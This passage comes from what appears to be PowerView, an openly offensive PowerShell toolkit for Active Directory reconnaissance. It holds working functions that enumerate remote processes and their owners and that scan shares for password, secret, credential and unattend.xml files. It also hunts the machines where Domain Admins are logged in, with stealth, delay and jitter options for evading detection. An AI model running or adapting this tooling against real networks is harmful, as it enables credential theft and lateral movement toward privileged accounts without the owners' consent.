15701Author: Will Schroeder (@harmj0y)
15702License: BSD 3-Clause
15703Required Dependencies: None
15704
15705.DESCRIPTION
15706
15707Uses Get-WMIObject to enumerate all Win32_process instances on the local or remote machine,
15708including the owners of the particular process.
15709
15710.PARAMETER ComputerName
15711
15712Specifies the hostname to query for cached RDP connections (also accepts IP addresses).
15713Defaults to 'localhost'.
15714
15715.PARAMETER Credential
15716
15717A [Management.Automation.PSCredential] object of alternate credentials
15718for connection to the remote system.
15719
15720.EXAMPLE
15721
15722Get-WMIProcess -ComputerName WINDOWS1
15723
15724.EXAMPLE
15725
15726$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
15727$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
15728Get-WMIProcess -ComputerName PRIMARY.testlab.local -Credential $Cred
15729
15730.OUTPUTS
15731
15732PowerView.UserProcess
15733
15734A PSCustomObject containing the remote process information.
15735#>
15736
15737 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
15738 [OutputType('PowerView.UserProcess')]
15739 [CmdletBinding()]
15740 Param(
15741 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
15742 [Alias('HostName', 'dnshostname', 'name')]
15743 [ValidateNotNullOrEmpty()]
15744 [String[]]
15745 $ComputerName = 'localhost',
15746
15747 [Management.Automation.PSCredential]
15748 [Management.Automation.CredentialAttribute()]
15749 $Credential = [Management.Automation.PSCredential]::Empty
15750 )
15751
15752 PROCESS {
15753 ForEach ($Computer in $ComputerName) {
15754 try {
15755 $WmiArguments = @{
15756 'ComputerName' = $ComputerName
15757 'Class' = 'Win32_process'
15758 }
15759 if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
15760 Get-WMIobject @WmiArguments | ForEach-Object {
15761 $Owner = $_.getowner();
15762 $Process = New-Object PSObject
15763 $Process | Add-Member Noteproperty 'ComputerName' $Computer
15764 $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName
15765 $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID
15766 $Process | Add-Member Noteproperty 'Domain' $Owner.Domain
15767 $Process | Add-Member Noteproperty 'User' $Owner.User
15768 $Process.PSObject.TypeNames.Insert(0, 'PowerView.UserProcess')
15769 $Process
15770 }
15771 }
15772 catch {
15773 Write-Verbose "[Get-WMIProcess] Error enumerating remote processes on '$Computer', access likely denied: $_"
15774 }
15775 }
15776 }
15777}
15778
15779
15780function Find-InterestingFile {
15781<#
15782.SYNOPSIS
15783
15784Searches for files on the given path that match a series of specified criteria.
15785
15786Author: Will Schroeder (@harmj0y)
15787License: BSD 3-Clause
15788Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection
15789
15790.DESCRIPTION
15791
15792This function recursively searches a given UNC path for files with
15793specific keywords in the name (default of pass, sensitive, secret, admin,
15794login and unattend*.xml). By default, hidden files/folders are included
15795in search results. If -Credential is passed, Add-RemoteConnection/Remove-RemoteConnection
15796is used to temporarily map the remote share.
15797
15798.PARAMETER Path
15799
15800UNC/local path to recursively search.
15801
15802.PARAMETER Include
15803
15804Only return files/folders that match the specified array of strings,
15805i.e. @(*.doc*, *.xls*, *.ppt*)
15806
15807.PARAMETER LastAccessTime
15808
15809Only return files with a LastAccessTime greater than this date value.
15810
15811.PARAMETER LastWriteTime
15812
15813Only return files with a LastWriteTime greater than this date value.
15814
15815.PARAMETER CreationTime
15816
15817Only return files with a CreationTime greater than this date value.
15818
15819.PARAMETER OfficeDocs
15820
15821Switch. Search for office documents (*.doc*, *.xls*, *.ppt*)
15822
15823.PARAMETER FreshEXEs
15824
15825Switch. Find .EXEs accessed within the last 7 days.
15826
15827.PARAMETER ExcludeFolders
15828
15829Switch. Exclude folders from the search results.
15830
15831.PARAMETER ExcludeHidden
15832
15833Switch. Exclude hidden files and folders from the search results.
15834
15835.PARAMETER CheckWriteAccess
15836
15837Switch. Only returns files the current user has write access to.
15838
15839.PARAMETER Credential
15840
15841A [Management.Automation.PSCredential] object of alternate credentials
15842to connect to remote systems for file enumeration.
15843
15844.EXAMPLE
15845
15846Find-InterestingFile -Path "C:\Backup\"
15847
15848Returns any files on the local path C:\Backup\ that have the default
15849search term set in the title.
15850
15851.EXAMPLE
15852
15853Find-InterestingFile -Path "\\WINDOWS7\Users\" -LastAccessTime (Get-Date).AddDays(-7)
15854
15855Returns any files on the remote path \\WINDOWS7\Users\ that have the default
15856search term set in the title and were accessed within the last week.
15857
15858.EXAMPLE
15859
15860$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
15861$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
15862Find-InterestingFile -Credential $Cred -Path "\\PRIMARY.testlab.local\C$\Temp\"
15863
15864.OUTPUTS
15865
15866PowerView.FoundFile
15867#>
15868
15869 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
15870 [OutputType('PowerView.FoundFile')]
15871 [CmdletBinding(DefaultParameterSetName = 'FileSpecification')]
15872 Param(
15873 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
15874 [ValidateNotNullOrEmpty()]
15875 [String[]]
15876 $Path = '.\',
15877
15878 [Parameter(ParameterSetName = 'FileSpecification')]
15879 [ValidateNotNullOrEmpty()]
15880 [Alias('SearchTerms', 'Terms')]
15881 [String[]]
15882 $Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'),
15883
15884 [Parameter(ParameterSetName = 'FileSpecification')]
15885 [ValidateNotNullOrEmpty()]
15886 [DateTime]
15887 $LastAccessTime,
15888
15889 [Parameter(ParameterSetName = 'FileSpecification')]
15890 [ValidateNotNullOrEmpty()]
15891 [DateTime]
15892 $LastWriteTime,
15893
15894 [Parameter(ParameterSetName = 'FileSpecification')]
15895 [ValidateNotNullOrEmpty()]
15896 [DateTime]
15897 $CreationTime,
15898
15899 [Parameter(ParameterSetName = 'OfficeDocs')]
15900 [Switch]
15901 $OfficeDocs,
15902
15903 [Parameter(ParameterSetName = 'FreshEXEs')]
15904 [Switch]
15905 $FreshEXEs,
15906
15907 [Parameter(ParameterSetName = 'FileSpecification')]
15908 [Switch]
15909 $ExcludeFolders,
15910
15911 [Parameter(ParameterSetName = 'FileSpecification')]
15912 [Switch]
15913 $ExcludeHidden,
15914
15915 [Switch]
15916 $CheckWriteAccess,
15917
15918 [Management.Automation.PSCredential]
15919 [Management.Automation.CredentialAttribute()]
15920 $Credential = [Management.Automation.PSCredential]::Empty
15921 )
15922
15923 BEGIN {
15924 $SearcherArguments = @{
15925 'Recurse' = $True
15926 'ErrorAction' = 'SilentlyContinue'
15927 'Include' = $Include
15928 }
15929 if ($PSBoundParameters['OfficeDocs']) {
15930 $SearcherArguments['Include'] = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx')
15931 }
15932 elseif ($PSBoundParameters['FreshEXEs']) {
15933 # find .exe's accessed within the last 7 days
15934 $LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy')
15935 $SearcherArguments['Include'] = @('*.exe')
15936 }
15937 $SearcherArguments['Force'] = -not $PSBoundParameters['ExcludeHidden']
15938
15939 $MappedComputers = @{}
15940
15941 function Test-Write {
15942 # short helper to check is the current user can write to a file
15943 [CmdletBinding()]Param([String]$Path)
15944 try {
15945 $Filetest = [IO.File]::OpenWrite($Path)
15946 $Filetest.Close()
15947 $True
15948 }
15949 catch {
15950 $False
15951 }
15952 }
15953 }
15954
15955 PROCESS {
15956 ForEach ($TargetPath in $Path) {
15957 if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
15958 $HostComputer = (New-Object System.Uri($TargetPath)).Host
15959 if (-not $MappedComputers[$HostComputer]) {
15960 # map IPC$ to this computer if it's not already
15961 Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential
15962 $MappedComputers[$HostComputer] = $True
15963 }
15964 }
15965
15966 $SearcherArguments['Path'] = $TargetPath
15967 Get-ChildItem @SearcherArguments | ForEach-Object {
15968 # check if we're excluding folders
15969 $Continue = $True
15970 if ($PSBoundParameters['ExcludeFolders'] -and ($_.PSIsContainer)) {
15971 Write-Verbose "Excluding: $($_.FullName)"
15972 $Continue = $False
15973 }
15974 if ($LastAccessTime -and ($_.LastAccessTime -lt $LastAccessTime)) {
15975 $Continue = $False
15976 }
15977 if ($PSBoundParameters['LastWriteTime'] -and ($_.LastWriteTime -lt $LastWriteTime)) {
15978 $Continue = $False
15979 }
15980 if ($PSBoundParameters['CreationTime'] -and ($_.CreationTime -lt $CreationTime)) {
15981 $Continue = $False
15982 }
15983 if ($PSBoundParameters['CheckWriteAccess'] -and (-not (Test-Write -Path $_.FullName))) {
15984 $Continue = $False
15985 }
15986 if ($Continue) {
15987 $FileParams = @{
15988 'Path' = $_.FullName
15989 'Owner' = $((Get-Acl $_.FullName).Owner)
15990 'LastAccessTime' = $_.LastAccessTime
15991 'LastWriteTime' = $_.LastWriteTime
15992 'CreationTime' = $_.CreationTime
15993 'Length' = $_.Length
15994 }
15995 $FoundFile = New-Object -TypeName PSObject -Property $FileParams
15996 $FoundFile.PSObject.TypeNames.Insert(0, 'PowerView.FoundFile')
15997 $FoundFile
15998 }
15999 }
16000 }
16001 }
16002
16003 END {
16004 # remove the IPC$ mappings
16005 $MappedComputers.Keys | Remove-RemoteConnection
16006 }
16007}
16008
16009
16010########################################################
16011#
16012# 'Meta'-functions start below
16013#
16014########################################################
16015
16016function New-ThreadedFunction {
16017 # Helper used by any threaded host enumeration functions
16018 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
16019 [CmdletBinding()]
16020 Param(
16021 [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
16022 [String[]]
16023 $ComputerName,
16024
16025 [Parameter(Position = 1, Mandatory = $True)]
16026 [System.Management.Automation.ScriptBlock]
16027 $ScriptBlock,
16028
16029 [Parameter(Position = 2)]
16030 [Hashtable]
16031 $ScriptParameters,
16032
16033 [Int]
16034 [ValidateRange(1, 100)]
16035 $Threads = 20,
16036
16037 [Switch]
16038 $NoImports
16039 )
16040
16041 BEGIN {
16042 # Adapted from:
16043 # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/
16044 $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault()
16045
16046 # # $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState()
16047 # force a single-threaded apartment state (for token-impersonation stuffz)
16048 $SessionState.ApartmentState = [System.Threading.ApartmentState]::STA
16049
16050 # import the current session state's variables and functions so the chained PowerView
16051 # functionality can be used by the threaded blocks
16052 if (-not $NoImports) {
16053 # grab all the current variables for this runspace
16054 $MyVars = Get-Variable -Scope 2
16055
16056 # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice
16057 $VorbiddenVars = @('?','args','ConsoleFileName','Error','ExecutionContext','false','HOME','Host','input','InputObject','MaximumAliasCount','MaximumDriveCount','MaximumErrorCount','MaximumFunctionCount','MaximumHistoryCount','MaximumVariableCount','MyInvocation','null','PID','PSBoundParameters','PSCommandPath','PSCulture','PSDefaultParameterValues','PSHOME','PSScriptRoot','PSUICulture','PSVersionTable','PWD','ShellId','SynchronizedHash','true')
16058
16059 # add Variables from Parent Scope (current runspace) into the InitialSessionState
16060 ForEach ($Var in $MyVars) {
16061 if ($VorbiddenVars -NotContains $Var.Name) {
16062 $SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes))
16063 }
16064 }
16065
16066 # add Functions from current runspace to the InitialSessionState
16067 ForEach ($Function in (Get-ChildItem Function:)) {
16068 $SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition))
16069 }
16070 }
16071
16072 # threading adapted from
16073 # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407
16074 # Thanks Carlos!
16075
16076 # create a pool of maxThread runspaces
16077 $Pool = [RunspaceFactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host)
16078 $Pool.Open()
16079
16080 # do some trickery to get the proper BeginInvoke() method that allows for an output queue
16081 $Method = $Null
16082 ForEach ($M in [PowerShell].GetMethods() | Where-Object { $_.Name -eq 'BeginInvoke' }) {
16083 $MethodParameters = $M.GetParameters()
16084 if (($MethodParameters.Count -eq 2) -and $MethodParameters[0].Name -eq 'input' -and $MethodParameters[1].Name -eq 'output') {
16085 $Method = $M.MakeGenericMethod([Object], [Object])
16086 break
16087 }
16088 }
16089
16090 $Jobs = @()
16091 $ComputerName = $ComputerName | Where-Object {$_ -and $_.Trim()}
16092 Write-Verbose "[New-ThreadedFunction] Total number of hosts: $($ComputerName.count)"
16093
16094 # partition all hosts from -ComputerName into $Threads number of groups
16095 if ($Threads -ge $ComputerName.Length) {
16096 $Threads = $ComputerName.Length
16097 }
16098 $ElementSplitSize = [Int]($ComputerName.Length/$Threads)
16099 $ComputerNamePartitioned = @()
16100 $Start = 0
16101 $End = $ElementSplitSize
16102
16103 for($i = 1; $i -le $Threads; $i++) {
16104 $List = New-Object System.Collections.ArrayList
16105 if ($i -eq $Threads) {
16106 $End = $ComputerName.Length
16107 }
16108 $List.AddRange($ComputerName[$Start..($End-1)])
16109 $Start += $ElementSplitSize
16110 $End += $ElementSplitSize
16111 $ComputerNamePartitioned += @(,@($List.ToArray()))
16112 }
16113
16114 Write-Verbose "[New-ThreadedFunction] Total number of threads/partitions: $Threads"
16115
16116 ForEach ($ComputerNamePartition in $ComputerNamePartitioned) {
16117 # create a "powershell pipeline runner"
16118 $PowerShell = [PowerShell]::Create()
16119 $PowerShell.runspacepool = $Pool
16120
16121 # add the script block + arguments with the given computer partition
16122 $Null = $PowerShell.AddScript($ScriptBlock).AddParameter('ComputerName', $ComputerNamePartition)
16123 if ($ScriptParameters) {
16124 ForEach ($Param in $ScriptParameters.GetEnumerator()) {
16125 $Null = $PowerShell.AddParameter($Param.Name, $Param.Value)
16126 }
16127 }
16128
16129 # create the output queue
16130 $Output = New-Object Management.Automation.PSDataCollection[Object]
16131
16132 # kick off execution using the BeginInvok() method that allows queues
16133 $Jobs += @{
16134 PS = $PowerShell
16135 Output = $Output
16136 Result = $Method.Invoke($PowerShell, @($Null, [Management.Automation.PSDataCollection[Object]]$Output))
16137 }
16138 }
16139 }
16140
16141 END {
16142 Write-Verbose "[New-ThreadedFunction] Threads executing"
16143
16144 # continuously loop through each job queue, consuming output as appropriate
16145 Do {
16146 ForEach ($Job in $Jobs) {
16147 $Job.Output.ReadAll()
16148 }
16149 Start-Sleep -Seconds 1
16150 }
16151 While (($Jobs | Where-Object { -not $_.Result.IsCompleted }).Count -gt 0)
16152
16153 $SleepSeconds = 100
16154 Write-Verbose "[New-ThreadedFunction] Waiting $SleepSeconds seconds for final cleanup..."
16155
16156 # cleanup- make sure we didn't miss anything
16157 for ($i=0; $i -lt $SleepSeconds; $i++) {
16158 ForEach ($Job in $Jobs) {
16159 $Job.Output.ReadAll()
16160 $Job.PS.Dispose()
16161 }
16162 Start-Sleep -S 1
16163 }
16164
16165 $Pool.Dispose()
16166 Write-Verbose "[New-ThreadedFunction] all threads completed"
16167 }
16168}
16169
16170
16171function Find-DomainUserLocation {
16172<#
16173.SYNOPSIS
16174
16175Finds domain machines where specific users are logged into.
16176
16177Author: Will Schroeder (@harmj0y)
16178License: BSD 3-Clause
16179Required Dependencies: Get-DomainFileServer, Get-DomainDFSShare, Get-DomainController, Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetSession, Test-AdminAccess, Get-NetLoggedon, Resolve-IPAddress, New-ThreadedFunction
16180
16181.DESCRIPTION
16182
16183This function enumerates all machines on the current (or specified) domain
16184using Get-DomainComputer, and queries the domain for users of a specified group
16185(default 'Domain Admins') with Get-DomainGroupMember. Then for each server the
16186function enumerates any active user sessions with Get-NetSession/Get-NetLoggedon
16187The found user list is compared against the target list, and any matches are
16188displayed. If -ShowAll is specified, all results are displayed instead of
16189the filtered set. If -Stealth is specified, then likely highly-trafficed servers
16190are enumerated with Get-DomainFileServer/Get-DomainController, and session
16191enumeration is executed only against those servers. If -Credential is passed,
16192then Invoke-UserImpersonation is used to impersonate the specified user
16193before enumeration, reverting after with Invoke-RevertToSelf.
16194
16195.PARAMETER ComputerName
16196
16197Specifies an array of one or more hosts to enumerate, passable on the pipeline.
16198If -ComputerName is not passed, the default behavior is to enumerate all machines
16199in the domain returned by Get-DomainComputer.
16200
16201.PARAMETER Domain
16202
16203Specifies the domain to query for computers AND users, defaults to the current domain.
16204
16205.PARAMETER ComputerDomain
16206
16207Specifies the domain to query for computers, defaults to the current domain.
16208
16209.PARAMETER ComputerLDAPFilter
16210
16211Specifies an LDAP query string that is used to search for computer objects.
16212
16213.PARAMETER ComputerSearchBase
16214
16215Specifies the LDAP source to search through for computers,
16216e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
16217
16218.PARAMETER ComputerUnconstrained
16219
16220Switch. Search computer objects that have unconstrained delegation.
16221
16222.PARAMETER ComputerOperatingSystem
16223
16224Search computers with a specific operating system, wildcards accepted.
16225
16226.PARAMETER ComputerServicePack
16227
16228Search computers with a specific service pack, wildcards accepted.
16229
16230.PARAMETER ComputerSiteName
16231
16232Search computers in the specific AD Site name, wildcards accepted.
16233
16234.PARAMETER UserIdentity
16235
16236Specifies one or more user identities to search for.
16237
16238.PARAMETER UserDomain
16239
16240Specifies the domain to query for users to search for, defaults to the current domain.
16241
16242.PARAMETER UserLDAPFilter
16243
16244Specifies an LDAP query string that is used to search for target users.
16245
16246.PARAMETER UserSearchBase
16247
16248Specifies the LDAP source to search through for target users.
16249e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
16250
16251.PARAMETER UserGroupIdentity
16252
16253Specifies a group identity to query for target users, defaults to 'Domain Admins.
16254If any other user specifications are set, then UserGroupIdentity is ignored.
16255
16256.PARAMETER UserAdminCount
16257
16258Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
16259
16260.PARAMETER UserAllowDelegation
16261
16262Switch. Search for user accounts that are not marked as 'sensitive and not allowed for delegation'.
16263
16264.PARAMETER CheckAccess
16265
16266Switch. Check if the current user has local admin access to computers where target users are found.
16267
16268.PARAMETER Server
16269
16270Specifies an Active Directory server (domain controller) to bind to.
16271
16272.PARAMETER SearchScope
16273
16274Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
16275
16276.PARAMETER ResultPageSize
16277
16278Specifies the PageSize to set for the LDAP searcher object.
16279
16280.PARAMETER ServerTimeLimit
16281
16282Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
16283
16284.PARAMETER Tombstone
16285
16286Switch. Specifies that the searcher should also return deleted/tombstoned objects.
16287
16288.PARAMETER Credential
16289
16290A [Management.Automation.PSCredential] object of alternate credentials
16291for connection to the target domain and target systems.
16292
16293.PARAMETER StopOnSuccess
16294
16295Switch. Stop hunting after finding after finding a target user.
16296
16297.PARAMETER Delay
16298
16299Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
16300
16301.PARAMETER Jitter
16302
16303Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
16304
16305.PARAMETER ShowAll
16306
16307Switch. Return all user location results instead of filtering based on target
16308specifications.
16309
16310.PARAMETER Stealth
16311
16312Switch. Only enumerate sessions from connonly used target servers.
16313
16314.PARAMETER StealthSource
16315
16316The source of target servers to use, 'DFS' (distributed file servers),
16317'DC' (domain controllers), 'File' (file servers), or 'All' (the default).
16318
16319.PARAMETER Threads
16320
16321The number of threads to use for user searching, defaults to 20.
16322
16323.EXAMPLE
16324
16325Find-DomainUserLocation
16326
16327Searches for 'Domain Admins' by enumerating every computer in the domain.
16328
16329.EXAMPLE
16330
16331Find-DomainUserLocation -Stealth -ShowAll
16332
16333Enumerates likely highly-trafficked servers, performs just session enumeration
16334against each, and outputs all results.
16335
16336.EXAMPLE
16337
16338Find-DomainUserLocation -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local
16339
16340Enumerates Windows 7 computers in dev.testlab.local and returns user results for privileged
16341users in dev.testlab.local.
16342
16343.EXAMPLE
16344
16345$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
16346$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
16347Find-DomainUserLocation -Domain testlab.local -Credential $Cred
16348
16349Searches for domain admin locations in the testlab.local using the specified alternate credentials.
16350
16351.OUTPUTS
16352
16353PowerView.UserLocation
16354#>
16355
16356 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
16357 [OutputType('PowerView.UserLocation')]
16358 [CmdletBinding(DefaultParameterSetName = 'UserGroupIdentity')]
16359 Param(
16360 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
16361 [Alias('DNSHostName')]
16362 [String[]]
16363 $ComputerName,
16364
16365 [ValidateNotNullOrEmpty()]
16366 [String]
16367 $Domain,
16368
16369 [ValidateNotNullOrEmpty()]
16370 [String]
16371 $ComputerDomain,
16372
16373 [ValidateNotNullOrEmpty()]
16374 [String]
16375 $ComputerLDAPFilter,
16376
16377 [ValidateNotNullOrEmpty()]
16378 [String]
16379 $ComputerSearchBase,
16380
16381 [Alias('Unconstrained')]
16382 [Switch]
16383 $ComputerUnconstrained,
16384
16385 [ValidateNotNullOrEmpty()]
16386 [Alias('OperatingSystem')]
16387 [String]
16388 $ComputerOperatingSystem,
16389
16390 [ValidateNotNullOrEmpty()]
16391 [Alias('ServicePack')]
16392 [String]
16393 $ComputerServicePack,
16394
16395 [ValidateNotNullOrEmpty()]
16396 [Alias('SiteName')]
16397 [String]
16398 $ComputerSiteName,
16399
16400 [Parameter(ParameterSetName = 'UserIdentity')]
16401 [ValidateNotNullOrEmpty()]
16402 [String[]]
16403 $UserIdentity,
16404
16405 [ValidateNotNullOrEmpty()]
16406 [String]
16407 $UserDomain,
16408
16409 [ValidateNotNullOrEmpty()]
16410 [String]
16411 $UserLDAPFilter,
16412
16413 [ValidateNotNullOrEmpty()]
16414 [String]
16415 $UserSearchBase,
16416
16417 [Parameter(ParameterSetName = 'UserGroupIdentity')]
16418 [ValidateNotNullOrEmpty()]
16419 [Alias('GroupName', 'Group')]
16420 [String[]]
16421 $UserGroupIdentity = 'Domain Admins',
16422
16423 [Alias('AdminCount')]
16424 [Switch]
16425 $UserAdminCount,
16426
16427 [Alias('AllowDelegation')]
16428 [Switch]
16429 $UserAllowDelegation,
16430
16431 [Switch]
16432 $CheckAccess,
16433
16434 [ValidateNotNullOrEmpty()]
16435 [Alias('DomainController')]
16436 [String]
16437 $Server,
16438
16439 [ValidateSet('Base', 'OneLevel', 'Subtree')]
16440 [String]
16441 $SearchScope = 'Subtree',
16442
16443 [ValidateRange(1, 10000)]
16444 [Int]
16445 $ResultPageSize = 200,
16446
16447 [ValidateRange(1, 10000)]
16448 [Int]
16449 $ServerTimeLimit,
16450
16451 [Switch]
16452 $Tombstone,
16453
16454 [Management.Automation.PSCredential]
16455 [Management.Automation.CredentialAttribute()]
16456 $Credential = [Management.Automation.PSCredential]::Empty,
16457
16458 [Switch]
16459 $StopOnSuccess,
16460
16461 [ValidateRange(1, 10000)]
16462 [Int]
16463 $Delay = 0,
16464
16465 [ValidateRange(0.0, 1.0)]
16466 [Double]
16467 $Jitter = .3,
16468
16469 [Parameter(ParameterSetName = 'ShowAll')]
16470 [Switch]
16471 $ShowAll,
16472
16473 [Switch]
16474 $Stealth,
16475
16476 [String]
16477 [ValidateSet('DFS', 'DC', 'File', 'All')]
16478 $StealthSource = 'All',
16479
16480 [Int]
16481 [ValidateRange(1, 100)]
16482 $Threads = 20
16483 )
16484
16485 BEGIN {
16486
16487 $ComputerSearcherArguments = @{
16488 'Properties' = 'dnshostname'
16489 }
16490 if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain }
16491 if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
16492 if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
16493 if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
16494 if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
16495 if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
16496 if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
16497 if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
16498 if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
16499 if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
16500 if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
16501 if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
16502 if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
16503 if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
16504
16505 $UserSearcherArguments = @{
16506 'Properties' = 'samaccountname'
16507 }
16508 if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
16509 if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
16510 if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
16511 if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
16512 if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase }
16513 if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount }
16514 if ($PSBoundParameters['UserAllowDelegation']) { $UserSearcherArguments['AllowDelegation'] = $UserAllowDelegation }
16515 if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
16516 if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
16517 if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
16518 if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
16519 if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
16520 if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
16521
16522 $TargetComputers = @()
16523
16524 # first, build the set of computers to enumerate
16525 if ($PSBoundParameters['ComputerName']) {
16526 $TargetComputers = @($ComputerName)
16527 }
16528 else {
16529 if ($PSBoundParameters['Stealth']) {
16530 Write-Verbose "[Find-DomainUserLocation] Stealth enumeration using source: $StealthSource"
16531 $TargetComputerArrayList = New-Object System.Collections.ArrayList
16532
16533 if ($StealthSource -match 'File|All') {
16534 Write-Verbose '[Find-DomainUserLocation] Querying for file servers'
16535 $FileServerSearcherArguments = @{}
16536 if ($PSBoundParameters['Domain']) { $FileServerSearcherArguments['Domain'] = $Domain }
16537 if ($PSBoundParameters['ComputerDomain']) { $FileServerSearcherArguments['Domain'] = $ComputerDomain }
16538 if ($PSBoundParameters['ComputerSearchBase']) { $FileServerSearcherArguments['SearchBase'] = $ComputerSearchBase }
16539 if ($PSBoundParameters['Server']) { $FileServerSearcherArguments['Server'] = $Server }
16540 if ($PSBoundParameters['SearchScope']) { $FileServerSearcherArguments['SearchScope'] = $SearchScope }
16541 if ($PSBoundParameters['ResultPageSize']) { $FileServerSearcherArguments['ResultPageSize'] = $ResultPageSize }
16542 if ($PSBoundParameters['ServerTimeLimit']) { $FileServerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
16543 if ($PSBoundParameters['Tombstone']) { $FileServerSearcherArguments['Tombstone'] = $Tombstone }
16544 if ($PSBoundParameters['Credential']) { $FileServerSearcherArguments['Credential'] = $Credential }
16545 $FileServers = Get-DomainFileServer @FileServerSearcherArguments
16546 if ($FileServers -isnot [System.Array]) { $FileServers = @($FileServers) }
16547 $TargetComputerArrayList.AddRange( $FileServers )
16548 }
16549 if ($StealthSource -match 'DFS|All') {
16550 Write-Verbose '[Find-DomainUserLocation] Querying for DFS servers'
16551 # # TODO: fix the passed parameters to Get-DomainDFSShare
16552 # $ComputerName += Get-DomainDFSShare -Domain $Domain -Server $DomainController | ForEach-Object {$_.RemoteServerName}
16553 }
16554 if ($StealthSource -match 'DC|All') {
16555 Write-Verbose '[Find-DomainUserLocation] Querying for domain controllers'
16556 $DCSearcherArguments = @{
16557 'LDAP' = $True
16558 }
16559 if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain }
16560 if ($PSBoundParameters['ComputerDomain']) { $DCSearcherArguments['Domain'] = $ComputerDomain }
16561 if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server }
